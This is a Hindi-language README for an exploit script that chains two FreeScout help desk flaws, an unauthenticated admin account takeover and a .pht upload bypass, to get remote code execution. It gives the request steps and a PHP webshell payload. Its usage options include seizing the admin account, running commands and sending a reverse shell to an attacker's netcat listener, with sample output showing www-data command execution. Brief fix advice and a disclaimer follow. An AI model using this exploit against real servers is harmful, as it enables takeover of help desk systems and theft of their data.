
CVE-2026-53595 (अनाम खाता अधिग्रहण) और CVE-2026-53593 (.pht अपलोड) को श्रृंखलाबद्ध करने वाली शोषण स्क्रिप्ट, FreeScout हेल्प डेस्क सॉफ्टवेयर पर बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन के लिए।
FreeScout ≤ 1.8.223 (एक Laravel हेल्प डेस्क) में अनधिकृत रिमोट कोड निष्पादन, दो दोषों को जोड़कर, दोनों 1.8.224 में ठीक किए गए:
POST /user-setup/{hash}/{invite_sent_at} केवल अपने invite_hash कॉलम द्वारा खाता चुनता है। एक सक्रिय उपयोगकर्ता के पास invite_hash = '' होता है, और MySQL/MariaDB पर VARCHAR समानता अनुगामी रिक्त स्थानों को अनदेखा करती है, इसलिए hash = %20 एडमिन से मेल खाता है। invite_sent_at एक्सपायरी गेट मान को उपयोगकर्ता के पासवर्ड को कुंजी के रूप में उपयोग करके डिक्रिप्ट करता है, लेकिन डिक्रिप्ट हेल्पर विफलता पर कच्चा इनपुट लौटाता है (खाली catch), इसलिए एक सादा पाठ वर्तमान यूनिक्स टाइमस्टैम्प स्वीकार किया जाता है। एंडपॉइंट फिर खाते के ईमेल + पासवर्ड को ओवरराइट करता है और आपको लॉग इन करता है।.pht अपलोड। अपलोड डिनीलिस्ट (php.*|sh|pl|phtml|phar) .pht को कवर नहीं करता, जिसे Apache mod_php PHP के रूप में निष्पादित करता है।इन्हें जोड़ें और एक अनधिकृत हमलावर वेब-सर्वर उपयोगकर्ता (www-data) के रूप में कोड निष्पादन प्राप्त करता है।
GET /user-setup/%20/<unix_ts> एक सत्र कुकी + CSRF टोकन प्राप्त करने के लिए।POST उसी URL पर एडमिन के ईमेल/पासवर्ड को ओवरराइट करने और लॉग इन करने के लिए (ATO)।POST /uploads/upload पर एक shell.pht (<?php system($_GET['c']); ?>)।./exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default [email protected])
--password PASS password to set (default Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash, curl, jq1.0.x – 1.8.223 पर काम करता है; 1.8.224+ दोनों बगों को ठीक करता है (302 एक असफल अधिग्रहण में बदल जाता है)।.pht निष्पादन सर्वर द्वारा .pht को mod_php के माध्यम से चलाने पर निर्भर करता है — वह 'मानक Apache + libapache2-mod-php' वातावरण जिसे CVE लक्षित करता है।system() /bin/sh के माध्यम से चलता है (Debian/Ubuntu पर dash), जो केवल bash के >& /dev/tcp/... रीडायरेक्ट को नहीं समझता, और base64 सभी उद्धरण समस्याओं से भी बचाता है।! नहीं है — ! इंटरैक्टिव bash/zsh में इतिहास विस्तार को ट्रिगर करता है और पेस्ट किए गए कमांड को खराब कर देता है।VARCHAR समानता का उपयोग न करें (अनुगामी-रिक्त स्थान टकराव), और विफल डिक्रिप्ट को कभी भी मान्य मान न समझें — खाली/अमान्य टोकन को अस्वीकार करें।केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए। इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता है।